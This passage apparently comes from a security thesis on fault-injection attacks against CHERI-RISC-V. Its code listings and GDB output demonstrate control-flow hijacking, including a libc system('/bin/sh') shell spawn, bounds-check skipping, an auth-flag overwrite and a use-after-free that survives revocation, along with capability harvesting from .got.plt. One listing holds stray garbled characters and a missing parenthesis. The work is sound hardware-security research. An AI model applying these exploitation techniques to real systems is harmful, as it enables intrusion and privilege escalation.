3  Pointer: r=0x3fffdfff00 [rwRW,0x3fffdfff00-0x3fffdfff10]
4  Enter some number for bounds extension: 23
5  Pointer: r=0x3fffdfff00 [rwRW,0x3fffdfff00-0x3fffe00d10]
6  [...]
7  (gdb) info frame
8  [...]
9  Saved registers:
10     cra at 0x3fffdfff60, cfp at 0x3fffdfff50, cs1 at 0
       x3fffdfff40,
11     cs2 at 0x3fffdfff30, cs3 at 0x3fffdfff20,
12     cs4 at 0x3fffdfff10, pcc at 0x3fffdfff60
13  (gdb) c
14  Continuing.
15  Enter the text needed to reach return address on stack:
16     [omitted 95 times 61]
17  Pointer to overwrite cra with:
18     r=0x101b36 [rxR,0x100000-0x103fd0] (sentry,capmode)
19  This is the hidden function!
20  [Inferior 1 (process 2420) exited normally]

Printing the capability obtained via &hidden_function reveals 0x101bee [rxR,0x100000-0x104120] (sentry,capmode).

Executing libc Functions

The attacks presented in the preceding sections redirect control flow to a function embedded within the same executable. A natural extension is to target functions from shared libraries, in particular, from the C standard library (libc). This section demonstrates such an extension in the context of Method 2 (see § 8.7.0.1). However, it also works with Method 1 described in § 8.2.4.2.

The libc function system() is particularly relevant for obtaining a shell with minimal effort: it invokes /bin/sh -c with a caller-supplied string argument [73], so passing "/bin/sh" spawns an interactive shell. The address of system() is obtained in the same way as any other function pointer, via &system in C or GDB’s p system command at run-time, and the saved return address is overwritten accordingly using the same primitive described in § 8.7.0.1. Concretely, the implementation reuses the code from Listing 4.20, replacing the target with void *system_addr = &system; and adding the inline assembly shown in Listing 4.22.

The non-trivial challenge is ensuring that the correct argument is present in register ca0 when system() begins executing. On the CHERI-RISC-V ABI, the first function argument is passed in ca0 [14], and this register must be explicitly populated with the payload before control is transferred.

A further difficulty is that ca0 is a capability register. A raw integer address placed in it will be untagged and will be rejected by the architecture when system() attempts to dereference it. The value in ca0 must therefore be a valid, tagged capability pointing to the payload string.

To satisfy this requirement, the payload bytes 2f 62 69 6e 2f 73 68 00 — the ASCII encoding of "/bin/sh" followed by a null terminator — are written to the start of the buffer using the same scanf-based byte-write primitive used for the bounds overwrite (see Listing 4.20)3. Since the buffer region contains no capabilities, these raw byte writes do not invalidate any existing tagged values. The capability buffer_point, derived from the original stack allocation and never overwritten, is then moved into ca0 via cmove (see Listing 4.22). This serves as a stand-in for a code-reuse gadget that a real attacker would employ (see § 6.1.4.2), as further discussed in § 9.2.2. This instruction is capability-aware and preserves the hardware tag of the source operand; a plain integer move would strip the tag, producing a value the architecture would reject. The capability in ca0 therefore remains valid and tagged, pointing to the start of the buffer where the payload string resides.

Listing 4.22: Excerpt showing how the "/bin/sh" input, saved in buffer_point, is moved into ca0 as a valid capability.

1  asm volatile (
2      "cmove ca0, %0"
3      :
4      : "C"(buffer_point)
5      : "ca0"
6  );

Control flow was additionally redirected to system(). The argument string was placed on the stack through the same write primitive used for the bounds overwrite, and the capability to that string was loaded into ca0 using a cmove inline assembly instruction as a stand-in for a code-reuse gadget. The call to system() completed successfully.

The payload is constructed similarly to that of Section 4.2.4.3, with the exception that the first 16 bytes contain the argument string passed to system() (in this case /bin/sh) rather than padding.

Listing 4.23: Excerpt of output of CFH Method 2 with system() calling a shell.

1   (gdb) r
2   Starting program: /workspace/hija/hijack-shell3
3   Pointer: r=0x3fffdfff00 [rwRW,0x3fffdfff00-0x3fffdfff10]
4   Enter some number for bounds extension: 23
5   Pointer: r=0x3fffdfff00 [rwRW,0x3fffdfff00-0x3fffe00d10]
6   [...]
7   (gdb) c
8   Continuing.
9   Enter the text needed to reach return address on stack:
10  2f 62 69 6e 2f 73 68 00 00 00 00 00 00 00 00 00
11  [omitted 80 times 61]
12  system() address (external libc): 0x4029b15c
13  [Detaching after vfork from child process 2431]

The GDB output (see Listing 4.23) shows that a child process was spawned via vfork after system() was called (line 13). Since no child process appears when system() is not invoked, this confirms that the shell was launched successfully.

Skip Bounds Check

This variant demonstrates that the bounds-extension bit flip is not the only fault injection path to control-flow hijacking. An alternative is to execute the store but skip the bounds check by suppressing the metadata validation that the processor would ordinarily perform on each memory access.

The implementation reuses the structure of Method 2 Listing 4.20, with two modifications. First, the bounds-flip call is removed. Second, the memory writes, both the byte-level padding and the capability-width overwrite of the saved return address, are performed using the store_doubleword_cap_skip_checks or the byte version and the store_cap_via_cap_skip_checks built-ins introduced in § 8.1.3. These bypass metadata checks entirely, so they succeed regardless of the buffer’s declared bounds. As in Method 2, the capability write preserves the hardware tag of the stored value. Listing 4.24 shows the modified write loop.

Listing 4.24: Write loop using the check skips built-in in place of the direct buffer write in Listing 4.20. No bit flip to the buffer’s bounds is required.

while (scanf("%2x", &byte) == 1) {
    __builtin_cheri_store_doubleword_cap_skip_checks(
        (void*)(uintptr_t)byte, &buffer_point[i]);
    i += 8;
}

Two further variants were also implemented and verified (see Appendix § 16.1). The first replaces the doubleword store with a byte-granularity store that writes one byte at a time (store_byte_cap_skip_checks). The second constructs a minimal target function whose stack frame contains only the saved return address immediately followed by the buffer, with no in-between callee-saved registers, providing a baseline result for ideal stack layout.

Listing 4.25 shows the result for doubleword-granularity stores: 12 doubleword writes are required to traverse the 96 bytes (8×12=968 \times12 = 96), of which 2 writes target the buffer itself, leaving 10 non-capability stores that require a fault each.

Listing 4.25: Excerpt of output of CFH Method 2 with skipping the bound check on doubleword granularity instead of extending the bounds.

#./hijackMemSkipBoundsWord
Pointer: r=0x3fffdfff00 [rwRW,0x3fffdfff00-0x3fffdfff10]
Enter the text needed to reach return address on stack:
4  61 61 61 61 61 61 61 61 61 61 61 61
5  Pointer to overwrite cra with:
6      r=0x101b36 [rxR,0x100000-0x103fd0] (sentry,capmode)
7  This is the hidden function!
8  This is the hidden function!

Listing 4.26 shows the byte-granularity variant: 96 byte writes are required, of which 16 target the buffer, leaving 80 non-capability stores that require a fault each.

Listing 4.26: Excerpt of output of CFH Method 2 with skipping the bound check on byte granularity instead of extending the bounds.

1  # ./hijackMemSkipBounds
2  Pointer: r=0x3fffdfff00 [rwRW,0x3fffdfff00-0x3fffdfff10]
3  Enter the text needed to reach return address on stack:
4      61 [omitted 95 times 61]
5  Pointer to overwrite cra with:
6      r=0x101b36 [rxR,0x100000-0x103fd0] (sentry,capmode)
7  This is the hidden function!

Listing 4.27 shows a minimal target function whose stack frame contains only the saved return address immediately following the buffer, so no non-capability stores are required.

Listing 4.27: Excerpt of output of CFH Method 2 with skipping the bound check on a minimal target function whose stack frame places the saved return address immediately after the buffer, requiring no non-capability stores.

1  # ./hijackMemSkipBoundsShort
2  Pointer: r=0x3fffdfff50 [rwRW,0x3fffdfff50-0x3fffdfff60]
3  Pointer to overwrite cra with:
4      r=0x101ace [rxR,0x100000-0x103f00] (sentry,capmode)
5  This is the hidden function!

In all three variants, one additional capability-store fault is required to overwrite cra with the replacement capability. The total fault counts are summarised in Table 4.1.

VariantStore Check Skips 3Cap. Store Check Skips 4Total faults
Doubleword10111
Byte80181
Minimal Stack011

Table 4.1. Fault counts for the three check skip variants.

Together, the three variants confirm that control-flow hijacking is achievable on a CHERI-hardened system under a fault injection threat model, with a minimum fault count of one and a maximum determined by stack layout and store granularity.

Data-Only Attack

Since data-only attacks do not overwrite executable capabilities, the sealed-capability challenge that complicates CFH does not arise here; this scenario therefore focuses on non-capability variables, for which a single bounds-extension fault is expected to suffice. For completeness, the CFH methods demonstrated in § 8.2.4 would also apply to capability-typed data variables: any method that succeeds against a sealed sentry capability will also succeed against an unsealed data capability. Sealed pairs are an exception, as they involve two cooperating capabilities, and this cannot be confirmed without further testing.

The implemented scenario follows the example in Figure 2.4 and can be seen in Listing 4.28. The program contains a stack-allocated buffer that can be overflowed, together with a variable auth (instead of UserAuthenticated from Figure 2.4) located at a higher stack address, i.e., allocated before the buffer in the function’s stack frame, whose value controls a security-relevant branch. The variable auth, initialised to zero, controls if the user has access to something, e.g., a password protected file.

Step 1: Bounds extension The bounds-flip primitive (§ 8.1.2) is applied to the buffer capability, extending its effective bounds to encompass auth.

Step 2: Fill the buffer The buffer is filled to capacity. In the compiled binary, auth is located immediately above the buffer with no padding, as confirmed by run-time inspection.

Step 3: Overwrite the target variable

A single additional byte, with value 1, is written beyond the end of the buffer, overwriting auth.

Step 4: Resume normal execution

The program continues normally. The branch conditioned on auth should now evaluate to true.

Attack implementation for the described data-only attack

Figure 4.28. Attack implementation for the described data-only attack.

void check_access(int granted) {
    if (granted)
        printf("access granted\n");
    else
        printf("access denied\n");
}

int main() {
    int auth = 0;
    printf("Auth Address: r=%#p\n", &auth);

    char buf[16];
    char *buffer_point = buf;
    buffer_point = __builtin_cheri_bounds_flip(buf, 20);
    printf("Pointer: r=%#p\n", buffer_point);

    printf("Enter the text needed to reach return address
    on stack: ");
    unsigned int byte;
    int i = 0;
    while (scanf("%2x", &byte) == 1) {
        buffer_point[i++] = byte;
    }
    check_access(auth);
    return 0;
}

The data-only attack succeeded with a payload that fills the entire 16-byte buffer and appends one additional byte to set the auth variable to true (see Listing 4.29). After extending the bounds of the buffer capability with a single bit flip, the out-of-bounds write to auth completed without a fault. The conditional branch in check_access() subsequently evaluates to true and prints access granted (line 6 of Listing 4.29), confirming that the adjacent integer variable had been overwritten as intended.

1# ./data-sncanfByte
2Auth Address: r=0x3fffdfff1c [rwRW,0x3fffdfff1c-0x3fffdfff20]
3Pointer: r=0x3fffdfff0c [rwRW,0x3fffdfff0c-0x3fffdfff5c]
4Enter the text needed to reach return address on stack:
561 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 01
6access granted

Table 4.29. Output of the data-only attack demonstration described in Listing 4.28.

A DOP attack based on the ProFTPD example [36] was also attempted; however, several issues arose when porting the attack to the CHERI 64-bit architecture. These are discussed in § 9.4.

Use-After-Free

As described in § 6.6.3, CHERI’s temporal safety relies on a shadow bitmap consulted during revocation sweeps. If the bit marking a freed region is cleared before the sweep runs, the sweep will find no record of that region being freed, leave any held capability intact, and still release the quarantine buffer for reallocation. This is the condition required for a use-after-free vulnerability, and it is the property exploited in the following demonstration.

This scenario models a single persistent bit flip in the shadow bitmap to determine whether that is sufficient to defeat the temporal safety guarantee provided by the Cornucopia mechanism, enabling a dangling capability to survive revocation and remain usable across reallocation.

The first part of the implementation can be seen in Listing 4.30 and the second part is shown in Listing 4.31.

The demonstration is structured around a simple heap-allocated object, $obj$, seen in Listing 4.30 lines 7–11. The object stores a function pointer $fn$ and an associated argument $arg$. Two distinguishable functions, $f1$ and $f2$, are used so that any confusion between the two pointers can be observed clearly in the output (see Listing 4.30 lines 1–6). These functions and the overall object structure were adapted from the CHERI pointer revocation exercise provided by the CTSRD-CHERI project [16]. The volatile qualifiers on $fn$ and $arg$ are intentional: they prevent the compiler from constant-propagating the function pointer or treating stores to a freed object as dead code, both of which would mask the vulnerability at the compiler level rather than at the hardware level.

Listing 4.30: Object and capability structure used in the use-after-free attack scenario.

1 static void f1(uintptr_t arg) {
2     fprintf(stderr, " Function 1: %#p\n", (void *)arg);
3 }
4 static void f2(uintptr_t arg) {
5     fprintf(stderr, " Function 2: %#p\n", (void *)arg);
6 }
7 struct obj {
8     char buf[32];
9     void (* volatile fn)(uintptr_t);
10    volatile uintptr_t arg;
11 };

The following explains the implementation process.

Step 1 — Listing 4.31 lines 2–8: Allocation, Initialisation and UAF An instance of obj is allocated and its function pointer is set to f1. After executing this section, obj1 will be freed and its region moved to the quarantine buffer. The shadow bitmap will be updated to mark this region as freed. To demonstrate if UAF is possible the free obj1 is dereferenced.

Step 2 — Listing 4.31 lines 10–31: Locating and Manipulating the Shadow Bitmap The revocation mechanism, i.e., the MRS mentioned in § 6.6.3, in the CheriBSD implementation is located in mrs.c. The shadow bitmap can be accessed programmatically via libcaprevoke, specifically through cheri_revoke_get_shadow (Listing 4.31 lines 8–24).

The first call (lines 13–15) retrieves a pointer to a metadata structure describing the revocation system’s memory layout, including the base address and layout of the shadow bitmap. The second call (lines 19–21) retrieves a capability spanning the entire shadow bitmap, which is used to look up and manipulate revocation bits for individual memory allocations. The metadata structure is needed to determine the memory layout, for example, where the non-mappable region begins, while the shadow capability is needed to read and write revocation bits during the sweep phase.

With both structures available, the bit corresponding to the freed region of obj1 can be cleared (lines 25–31), simulating the effect of a fault injection that flips that bit from 1 (freed) back to 0 (not freed). The size is aligned up to a pointer-sized boundary to correctly cover the full granularity used by the bitmap (lines 26–27). After this operation, the shadow bitmap no longer records obj1’s region as freed. Note that an attacker only needs to find the correct bit location and does not need to have access to the shadow bitmap.

Step 3 — Listing 4.31 lines 33–37: Triggering Revocation and Observing the Effect With the shadow bitmap manipulated, revocation is triggered explicitly. Because the shadow bitmap entry for obj1’s region was cleared in Step 2, the revocation sweep should find no record of that region as freed. Then, rather than invalidating obj1, the sweep releases the quarantine buffer and returns the memory to the allocator, leaving obj1 as a valid, dereferenceable capability (in contrast to the normal sweep behaviour described in § 6.6.3). Afterwards, obj1->fn(obj1->arg) is called to verify that obj1 remains dereferenceable.

Step 4 — Listing 4.31 lines 38–45: Reallocation and Capability Confusion A new object obj2 is allocated; the assertion obj1 == obj2 confirms that it occupies the same address. obj2’s function pointer is then updated to f2 (line 41). At this point, both obj1 and obj2 should be valid capabilities referencing the same memory region. obj1->fn(obj1->arg) is called again to observe the effect.

Listing 4.31: Attack implementation for Use-After-Free.

int main(void) {
    struct obj * volatile obj1 = calloc(1, sizeof(*obj1);
    fprintf(stderr, "Connect obj1 with f1 at %#p\n", obj1);
    obj1->fn = f1;
    obj1->arg = (uintptr_t)obj1;
    free(obj1);
    fprintf(stderr, "Demonstrate uaf:\n");
    obj1->fn(obj1->arg);

    const struct cheri_revoke_info *cri;
    void * __capability entire_shadow;

    if (cheri_revoke_get_shadow (
        CHERI_REVOKE_SHADOW_INFO_STRUCT, NULL,
        (void **)&cri) != 0) {
        fprintf(stderr, "Failed info\n");
``】【。
return 1;
}

if (cheri_revoke_get_shadow (
    CHERI_REVOKE_SHADOW_NOVMEM_ENTIRE, NULL,
    (void **)&entire_shadow) != 0) {
    fprintf(stderr, "Failed bitmap\n");
    return 1;
}

size_t obj_size = sizeof(*obj1);
size_t aligned_size =
    __builtin_align_up(obj_size, sizeof(void *));
caprev_shadow_nomap_clear_len(cri->base_mem_nomap,
    (uint64_t * __capability)entire_shadow,
    cheri_getbase(obj1), aligned_size);
fprintf(stderr, "Cleared shadow bitmap for obj1\n");

malloc_revoke(); /* Force revocation sweep */

fprintf(stderr, "Demonstrate uaf after sweep:\n");
obj1->fn(obj1->arg);

struct obj * volatile obj2 = malloc(sizeof(*obj2));
assert(obj1 == obj2);
fprintf(stderr, "Connect obj2 with f2 at %#p\n", obj2
);
obj2->fn = f2;

fprintf(stderr, "Calling obj2 through obj1 at %#p:\n"
,
    obj1);
obj1->fn(obj1->arg);
return (0);
}

Line 5 of both Listings 4.32 and 4.33 confirms the limitation of Cornucopia discussed in § 6.6.3: a UAF is possible between free() and the next revocation sweep, independently of any fault injection. The fault injection in the following targets what happens after the sweep runs, which is where Cornucopia would provide its guarantee.

After clearing the shadow bitmap entry for obj1’s region in Step 2 (see § 8.11.2), the malloc_revoke() call in Step 3 did not invalidate obj1: as shown in Listings 4.32 and 4.33 lines 7 and 8 respectively, the pointer remains dereferenceable after the sweep completes, and f1 is invoked successfully through the freed capability. Line 10 confirms that malloc_revoke() released the quarantine buffer, as obj2 is allocated at the same address as obj1 (line 3). A subsequent call dispatched through obj1 in Step 4 then invoked f2 rather than f1 (lines 11–13), demonstrating a successful use-after-reallocation scenario: obj1 and obj2 are simultaneously valid capabilities referencing the same memory region, with the object’s function pointer now under the control of the second allocation.

Listing 4.32: Output of UAF implementation (§ 8.11.2) without clearing the shadow bitmap.

# ./use-after-free
Connect obj1 with f1 at 0x40a0f000
    [rwRW,0x40a0f000-0x40a0f040]
Demonstrate uaf:
Function 1: 0x40a0f000 [rwRW,0x40a0f000-0x40a0f040]
Demonstrate uaf after sweep:
In-address space security exception (core dumped)

Listing 4.33: Output of UAF implementation (§ 8.11.2) with clearing the shadow bitmap.

# ./use-after-free
Connect obj1 with f1 at at 0x40a0f000
    [rwRW,0x40a0f000-0x40a0f040]
Demonstrate uaf:
Function 1: 0x40a0f000 [rwRW,0x40a0f000-0x40a0f040]
Cleared shadow bitmap for obj1
Demonstrate uaf after sweep:
Function 1: 0x40a0f000 [rwRW,0x40a0f000-0x40a0f040]
Connect obj2 with f2 at 0x40a0f000
    [rwRW,0x40a0f000-0x40a0f040]
Calling obj2 through obj1 at 0x40a0f000
    [rwRW,0x40a0f000-0x40a0f040]):
Function 2: 0x40a0f000 [rwRW,0x40a0f000-0x40a0f040]

Discussion

This chapter analyses the results presented in Chapter 4 in depth. § 9.1 evaluates the fault injection primitives themselves, including their effectiveness and the limitations that follow from the emulation-based approach. § 9.2 through § 9.5 discuss each attack scenario in turn: control-flow hijacking, capability harvesting, data-only attacks, and use-after-free. § 9.6 synthesises the findings into an overall assessment of how fault injection affects CHERI’s enforcement guarantees relative to an unprotected baseline. Lastly, § 9.7 identifies the open questions and thus the limitations that remain unresolved.

Fault Injection Primitives

Tag Flip and Bounds Flip

Both the tag-flip and bounds-flip primitives expose the same assumption: CHERI unconditionally trusts stored capability metadata. Hardware cannot distinguish a legitimately valid tag from one restored by a fault. The compressed bounds encoding also has no integrity check; flipping a single bit produces a modified but internally consistent encoding that the hardware enforces without detecting the manipulation. Either protection can thus be bypassed with one fault, subject to the precision constraints discussed in § 9.1.3.

Check Skipping

A third primitive targets instruction execution itself rather than stored metadata. The results in § 8.11.0.2 show that skipping the metadata check but still executing the actual store instruction is a viable alternative to achieve buffer overflows. However, they often require more faults than a bounds-extension, because the cost scales with the distance between the buffer and the saved return address (see Equation (2)). Only when that distance equals the buffer size does the fault count reduce to one (Table 4.1).

Beyond fault count, the physical feasibility of check skipping warrants consideration. Suppressing the check portion of a single instruction execution is a stronger primitive than a single bit flip; however, it is within the capability of established voltage- and clock-glitching techniques (see § 6.8). If such a skip is achieved, CHERI’s protections are rendered ineffective for the affected operation regardless of any other architectural guarantees, since the bounds, tag, and permission checks are all performed by instructions that can be skipped.

The check skip results reveal a second, complementary trust assumption in CHERI’s enforcement model. Whereas the tag-flip and bounds-flip primitives exploit the fact that CHERI trusts stored metadata unconditionally, check skipping exploits the fact that CHERI trusts the CPU to execute every security-relevant operation correctly. The hardware checks for bounds, tag validity, and permissions (see § 6.6.1) are performed internally as part of load, store, and execute instructions. A fault that causes the internal check to be bypassed (check skip) while the memory operation still completes means the capability’s metadata may be entirely wrong, yet the protection is bypassed. CHERI has no mechanism to detect if a check was skipped, because there is no architectural guarantee or record that a capability check was performed prior to a given memory access.

Limitations

The fault injection primitives used throughout this work are implemented as software abstractions that simulate the effect of physical bit flips or check skips. Two categories of limitation follow from this.

Fault Precision

The bit-flip primitives assume that exactly one bit is flipped at the intended location. On physical hardware, this level of precision is not always achievable: EM or optical fault injections may affect adjacent bits as well (see § 6.8.2). For tag flips, collateral flips in the tag memory could invalidate capabilities that are still in use, or could revalidate capabilities that the program never intended to use. The former would cause an exception on a program dereferencing them, while the latter is unlikely to cause harm for normal execution, since any attempt to use an invalid capability would itself trigger a CHERI exception; therefore, normal execution flow would not use such invalidated capabilities. For bounds flips, adjacent bit errors may shorten the bounds rather than extend them, move the top bound instead of the bottom, extend the bottom further than intended, affect the internal exponent (IE) bit, or alter other metadata fields. Some of these outcomes might not affect the attack, while others might cause the attack to fail requiring the attacker to retry the flip. Thus the reported flip counts are lower bounds on the fault injection cost in a physical scenario rather than exact predictions; this constraint compounds the platform-level limitations discussed in § 7.3.2.

Check skipping does not carry the same bit-level spatial precision requirement, as no specific memory bit is targeted. However, it demands high temporal precision: the fault must coincide with the execution window of the target instruction. Bit flips targeting capability metadata or the shadow bitmap are comparatively less sensitive to timing, because the relevant fault window spans the entire interval between the last legitimate write to the targeted location, and the point at which the value is used in the vulnerable operation; this interval commonly encompasses multiple instructions. Both primitives are therefore subject to precision limitations on physical hardware, though of different kinds.

Instruction Granularity

The check-skip primitives write entire capabilities, bytes or words as atomic operations. On physical hardware, the compiler independently decides which memory access granularities to emit for load and store instructions (e.g., byte or doubleword accesses) depending on the target ISA, ABI, and optimisation level. This could alter the number of faults required to corrupt a specific field and may introduce effects that the software simulation does not capture.

Control-Flow Hijacking

Comparison of Methods 1 and 2

The sentry mechanism is the primary architectural feature that distinguishes CFH on CHERI from a conventional architecture. The sentry requirement (§ 6.6.2) means the overwritten slot must hold a valid tagged sentry, not merely a correct address. Method 1 satisfies this by expending a second fault to restore the tag after the non-capability-aware overflow write has cleared it. Method 2 avoids tag invalidation by using memcpy’s capability-aware store (§ 8.7.0.1), reducing the total fault count to one. The comparison of Method 1 and Method 2 is shown in Table 5.1.

Method 1Method 2
Bounds bypassBounds flipBounds flip
OverwriteNon-capability writesCapability-aware write
Tag handlingTag clearedTag preserved
Tag restorationTag flipNot needed
Total bit flips21
AssemblyNeededNot needed
Valid capabilityNot neededNeeded
Sentry checkNo bypass needed; only address field manipulatedNo bypass needed; derived capability is sealed by hardware

Table 5.1. Comparison of control-flow hijacking methods.

Method 2 is strictly less demanding in terms of fault injection requirements and considerably simpler to implement, as is evident from a comparison of Listing 4.17, 4.18, and Listing 4.20. However, it requires the attacker to be able to supply a valid, executable capability, whereas Method 1 does not.

Method 2 additionally reveals a key architectural observation: any function whose address is obtained through valid capability operations, via &function in C or through a code-reuse gadget, is automatically a valid jump target. This is because the CHERI toolchain derives function pointers from the PCC and seals them as sentries before making them available to the user [14]. There is thus no gap in CHERI’s sentry check that needs to be circumvented: the attacker simply needs access to any legitimately materialised executable capability, which the program itself provides. This is what makes both Method 2 and the following libc redirection practical, and it is why capability harvesting, discussed in § 9.3, can be used to obtain valid capabilities.

Together, Method 1 and Method 2 demonstrate that one or two precisely targeted faults are sufficient to circumvent CHERI’s spatial safety and pointer integrity protections.

Redirection to libc

The libc attack (§ 8.11.0.1) shows that CFH is not just possible with a function in the same binary, but also with libc functions and by extension also with other library functions.

The cmove inline assembly used in Listing 4.23 is a stand-in for what a real attacker would achieve through code reuse and ROP chaining (§ 6.1.4.2). In a genuine attack, the same write primitive used to overwrite the return address, can also place the payload string at a known offset from the stack pointer. All that is then required is an existing instruction of the form cincoffset ca0, csp, <offset> in the loaded binary or its libraries, whose offset matches the location of the payload string. Instructions of this form are common in compiled CHERI-RISC-V binaries [16], making it likely for a suitable gadget to be available. Directing control flow to such a gadget replaces the cmove without injecting any code or violating CHERI’s tagging rules.

Check Skip Comparison

As established in § 9.1, the check skip presents an alternative to the bounds-extension bit flip: skipping a metadata check renders CHERI’s protection ineffective for that instruction, allowing it to execute as though the check had passed.

The three CFH check skip variants presented in Table 4.1 illustrate how stack layout directly determines attack difficulty in this scenario: the further the saved return address lies from the start of the buffer, the more faulted store instructions are required to bridge the gap. This relationship can be expressed with a formula.

Let dd denote the byte distance between the start of the buffer and the start of the cra, let bb denote the buffer size in bytes, and let gg denote the store granularity in bytes. The number of non-capability store check faults required is then:

Fnon−cap=d−bgF_{\mathrm{non-cap}} = \frac{d-b}{g}

with one additional capability-check fault to overwrite the cra, giving a total fault count of:

Ftotal=d−bg+1(2)F_{\mathrm{total}} = \frac{d-b}{g} + 1 \tag*{(2)}

The three evaluated variants confirm this model (see Table 4.1). Equation (2) makes explicit that the check primitive is not inherently more expensive than the bounds-extension approach of Method 2: as d→bd \to b, the total cost converges to a single capability-store fault, identical to Method 2. The cost difference between variants is therefore entirely determined by the victim’s stack layout — specifically, how much data sits between the buffer and the saved return address — and the available store granularity, not by the attack itself. An attacker who can identify or induce a target function where d=bd = b faces no additional fault overhead compared to Method 2, making this version just as effective.

Conclusion

The achieved attacks demonstrate that hijacking the control flow is possible on CHERI under a fault injection threat model, which is the fundamental prerequisite for a practical ROP-based exploitation chain. The constraints shared by both methods, the additional prerequisites of Method 2, and the open questions surrounding end-to-end exploitability are discussed together with the remaining limitations of this work in § 9.7.

Capability Harvesting

The preceding demonstrations establish that CHERI’s sentry mechanism does not prevent CFH under fault injection. However, Method 2 specifically, has the need for a valid, executable capability as a replacement return address. This section analyses where a real attacker could obtain such a capability from, a step commonly referred to as capability harvesting.

Method 2 obtains the target capability via &hidden_function, which causes the compiler to emit a valid sentry capability (see § 8.7.0.1). This is sufficient to demonstrate the hijacking primitive, but it bypasses a question central to real-world exploitability: where would an attacker who does not control the victim source code obtain a valid, executable capability?

Given CHERI’s unforgeability guarantee (§ 6.6.1), any realistic attack must harvest a valid capability from memory that the legitimate program has already materialised.

Candidate Locations

One natural harvesting target is the memory region in which the run-time stores resolved references to external symbols. On standard RISC-V this is the .got.plt (see § 6.7). The CHERI ELF psABI specification [74] describes a .captable-based ABI in which a dedicated per-object section holds all capabilities, populated by the run-time linker at startup. To verify which version is used, we inspect the section layout of a CHERI binary:

Listing 5.1: Output of llvm-readelf of a simple HelloWorld CHERI binary showing the sections.

$ llvm-readelf -S HelloWorld
There are 33 section headers, starting at offset 0x28f0:

Section Headers:
[Nr] Name      Type        Address              Off    Size
[...]
[...]
[16] .plt      PROGBITS    0000000000001870     000870 00050
[...]
[...]
[19] .got      PROGBITS    0000000000002a50     000a50 00060
[...]
[20] .data     PROGBITS    0000000000003ab0     000ab0 00020
[...]
[21] .got.plt  PROGBITS    0000000000003ad0     000ad0 00050
[...]
[22] .bss      NOBITS      0000000000003b20     000b20 00020
[...]
[...]
Key to Flags:
  W (write), A (alloc), X (execute), [...]

Listing 5.1 shows the results of the inspection of the CHERI-RISC-V purecap binaries. It reveals that the classical .plt/.got/.got.plt layout is used instead of a .captable.

Additionally, inspection of the run-time linker source (file rtld.c) shows that it references internal structures named plts and pltgot. Another linker file called reloc.c contains an initialisation routine that installs a resolver trampoline into the PLT/GOT at startup (see Figure 5.1).

Excerpt of the reloc.c file in the CheriBSD RISC-V system showing the resolver trampoline

Figure 5.1. Excerpt of the reloc.c file in the CheriBSD RISC-V system showing the resolver trampoline.

Lazy Binding

Whether these sections are populated eagerly at load time or lazily on first call depends on whether lazy binding is active (see § 6.7). CheriBSD’s rtld inherits the standard FreeBSD behaviour controlled by LD_BIND_NOW and the per-object DF_BIND_NOW flag [53, 52]; both default to unset, meaning lazy binding is likely to be the default [53].

To confirm whether .got.plt is populated lazily or eagerly, we examine its contents before and after the first external call in a HelloWorld test binary.

A program binary is position-independent and is relocated at startup [52]. Therefore, the address reported by Listing 5.1 is a link-time address that is offset by the load base at run-time; however, the relative position of the segments remains unchanged [52]. The load base is recovered by comparing the link-time and run-time addresses of main:

Listing 5.2: Output of llvm-readelf showing the link-time address of main.

$ llvm-readelf -s HelloWorld | grep main
0000000000001846 28 FUNC GLOBAL DEFAULT 15 main

Listing 5.3: Output of GDB showing the run-time address of main.

1  (gdb) disass
2  0x0000000000101846 <+0>: cincoffset csp,csp,-16

The results shown in Listings 5.2 and 5.3 yield a load offset of 0x101846 - 0x1846 = 0x100000, placing the run-time address of .got.plt at 0x100000 + 0x3ad0 = 0x103ad0.

In order to confirm if lazy binding is used, we can check the .got.plt before and after calling an external function, in our example the external function is printf. Checking the .got.plt before starting the program, i.e., before any external function could have been called, gives:

1  $ llvm-objdump -s --section=.got.plt HelloWorld
2  HelloWorld:     file format elf64-littleriscv
3  Contents of section .got.plt:
4   3ad0 00000000 00000000 00000000 00000000  ......
5   3ae0 00000000 00000000 00000000 00000000  ......
6  [...]
7   3b10 00000000 00000000 00000000 00000000  ......
8  [...]

This shows that the on-disk contents of .got.plt are zero at link-time. At run-time but before the execution of printf, the .got.plt entry for printf at 0x103b10 contains 0x0000000000101870:

1  (gdb) x/16gx 0x103ad0
2  [...]
3  0x103b10 <[email protected]>: 0x0000000000101870
4      s0xd11720000b698005
5  [...]

This value lies inside the binary’s own .plt section (see Listing 5.1) and, thus, is the PLT resolver stub, confirming that printf has not yet been resolved to its library address.

After stepping through the first printf call, the same entry at 0x103b10 contains 0x00000000402548f8:

1  (gdb) x/16gx 0x103ad0
2  [...]
3  0x103b10 <[email protected]>: 0x00000000402548f8
4      0xd11720000b4dc4de
5  [...]

The entry for printf has changed from 0x0000000000101870 to 0x00000000402548f8. When checking the address of printf through gdb:

1  (gdb) p printf
2  $1 = {int (const char * restrict, ...)} 0x402548f8 <printf
   >

This shows that the actual printf address corresponds to the address found in the .got.plt and, thus, the .got.plt entry now holds a valid capability (16 byte) pointing to the real printf.

This is consistent with the lazy binding mechanism: the resolver ran on the first call, looked up printf, and wrote the resulting capability into [email protected] for all subsequent calls (see § 6.7).

ABI Variant and Implications

The observations above show that the CheriBSD system used in this work employs the classical .plt/.got/.got.plt layout. The run-time linker on this system supports lazy binding and uses the standard PLT resolver mechanism, with the distinction that resolved entries contain tagged capabilities rather than plain addresses.

The result of this is that the .got.plt is a possible harvesting target. Once an external function has been called at least once, its .got.plt entry holds a fully valid executable capability pointing to the real function in the shared library.

Harvesting Paths

This analysis confirms that lazy binding is used and thus, two distinct harvesting paths exist:

  1. Harvesting already-resolved entries. Entries corresponding to external functions that the victim program has already invoked contain fully valid, tagged capabilities and can be read directly by an attacker with a read primitive into .got.plt. This path also applies if lazy binding is disabled, in which case all references are resolved at load time, potentially widening the harvestable set.

  1. Coercing the resolver. For entries not yet resolved, an attacker with a write primitive may tamper with the unresolved relocation metadata that rtld consults on first call, so that the resolver itself produces a

capability of the attacker’s choosing. This technique is established on conventional architectures [75, 76] and is strictly more powerful than harvesting path 1 since it does not require the target function to have been previously invoked. It is, however, dependent on lazy binding being active.

Implications for the Demonstrated Attack

This investigation confirms that the source-code shortcut used in § 8.2.4 is not a fundamental limitation of the attack. A real attacker targeting a CHERI-RISC-V binary built with this ABI has a concrete, well-defined source of valid executable capabilities: the .got.plt, populated by the legitimate victim program itself.

